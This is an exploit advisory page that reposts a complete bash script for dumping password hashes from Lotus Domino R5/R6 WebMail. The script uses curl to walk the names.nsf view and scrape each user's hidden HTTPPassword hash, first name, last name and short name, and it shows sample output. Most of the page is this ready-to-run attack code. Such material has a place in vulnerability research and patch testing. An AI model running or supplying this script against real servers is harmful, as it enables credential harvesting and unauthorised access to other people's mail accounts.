SecuriTeam - Lotus Domino Webmail Password Hash Dumper (Exploit)

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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

Lotus Domino WebMail, with "Generate HTML for all fields" enabled stores sensitive data from names.nsf in hidden form fields, which allows remote attackers to read the HTML source to obtain sensitive information such as password hash.

Credit:
The information has been provided by milw0rm.
The original article can be found at:
http://www.milw0rm.com/exploits/3302

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Vulnerable Systems:
* Lotus Domino R5 and R6 WebMail

Exploit:
#!/bin/bash
#
# $Id: raptor_dominohash,v 1.3 2007/02/13 17:27:28 raptor Exp $
#
# raptor_dominohash - Lotus Domino R5/R6 HTTPPassword dump
# Copyright (c) 2007 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# Lotus Domino R5 and R6 WebMail, with "Generate HTML for all fields" enabled,
# stores sensitive data from names.nsf in hidden form fields, which allows
# remote attackers to read the HTML source to obtain sensitive information such
# as (1) the password hash in the HTTPPassword field, (2) the password change
# date in the HTTPPasswordChangeDate field, (3) the client platform in the
# ClntPltfrm field, (4) the client machine name in the ClntMachine field, and
# (5) the client Lotus Domino release in the ClntBld field, a different
# vulnerability than CVE-2005-2696 (CVE-2005-2428).
#
# According to testing, it's possible to dump all HTTPPassword hashes using the
# $defaultview view instead of $users. This saves a considerable amount of time.
#
# The code may require some changes to properly work with your configuration.
#
# See also:
# http://www.securiteinfo.com/outils/DominoHashBreaker.shtml
#
# Usage:
# $ ./raptor_dominohash 192.168.0.202
# [...]
# Extracting the view entries...
# Done! 656 unique entries have been found.
# Now ready to dump password hashes...
# [...]
# [http://192.168.0.202/names.nsf/$defaultview/00DA2289CC118A854925715A000611A3]
# FirstName: Foo
# LastName: Bar
# ShortName: fbar
# HTTPPassword: (355E98E7C7B59BD810ED845AD0FD2FC4)
# [...]
#
# Vulnerable platforms:
# Lotus Domino R6 Webmail [tested]
# Lotus Domino R5 Webmail [untested]
# Lotus Domino R4 Webmail? [untested]
#

# Some vars
i=1
tmp1=dominohash1.tmp
tmp2=dominohash2.tmp

# Command line
host=$1

# Local fuctions
function header() {
        echo ""
        echo "raptor_dominohash - Lotus Domino R5/R6 HTTPPassword dump"
        echo "Copyright (c) 2007 Marco Ivaldi <raptor@0xdeadbeef.info>"
        echo ""
}

function footer() {
        echo ""
        exit 0
}

function usage() {
        header
        echo "usage : ./raptor_dominohash <host>"
        echo "example: ./raptor_dominohash 192.168.0.202"
        footer
}

function notfound() {
        header
        echo "error : curl not found"
        footer
}

# Check if curl is there
curl=`which curl 2>/dev/null`
if [ $? -ne 0 ]; then
        notfound
fi

# Input control
if [ -z "$1" ]; then
        usage
fi

# Remove temporary files
rm -f $tmp1
rm -f $tmp2

header

# Extract the view entries
echo "Extracting the view entries..."
while :
do
        curl "http://${host}/names.nsf/\$defaultview?Readviewentries&Start=${i}" 2>/dev/null | grep unid >> $tmp1

        # Check grep return value
        if [ $? -ne 0 ]; then
                break
        fi

        # Go for the next page
        i=`expr $i + 30`
        echo -ne "\b\b\b\b\b\b\b\b$i"
done

cat $tmp1 | awk -F'unid="' '{print $2}' | awk -F'"' '{print $1}' | sort | uniq > $tmp2

# Check if some view entries have been found
if [ ! -s $tmp2 ]; then
        echo "No entries found on host ${host}!"
        footer
fi
echo -ne "\b\b\b\b\b\b\b\bDone! "
echo "`wc -l ${tmp2} | awk '{print $1}'` unique entries have been found."
echo ""

# Perform the hash dumping
echo "Now ready to dump password hashes..."
echo ""
sleep 4
for unid in `cat $tmp2`
do
        echo "[http://${host}/names.nsf/\$defaultview/${unid}]"
        echo ""
        #curl "http://${host}/names.nsf/\$defaultview/${unid}?OpenDocument" 2>/dev/null | egrep '"FullName"|"HTTPPassword"'
        curl "http://${host}/names.nsf/\$defaultview/${unid}?OpenDocument" 2>/dev/null | egrep '"FirstName"|"LastName"|"ShortName"|"HTTPPassword"' | awk -F'input name="' '{print $2}' | awk -F'" type="hidden" value="' '{print $1 ":\t" $2}' | tr -d '">'
        echo ""
done

footer

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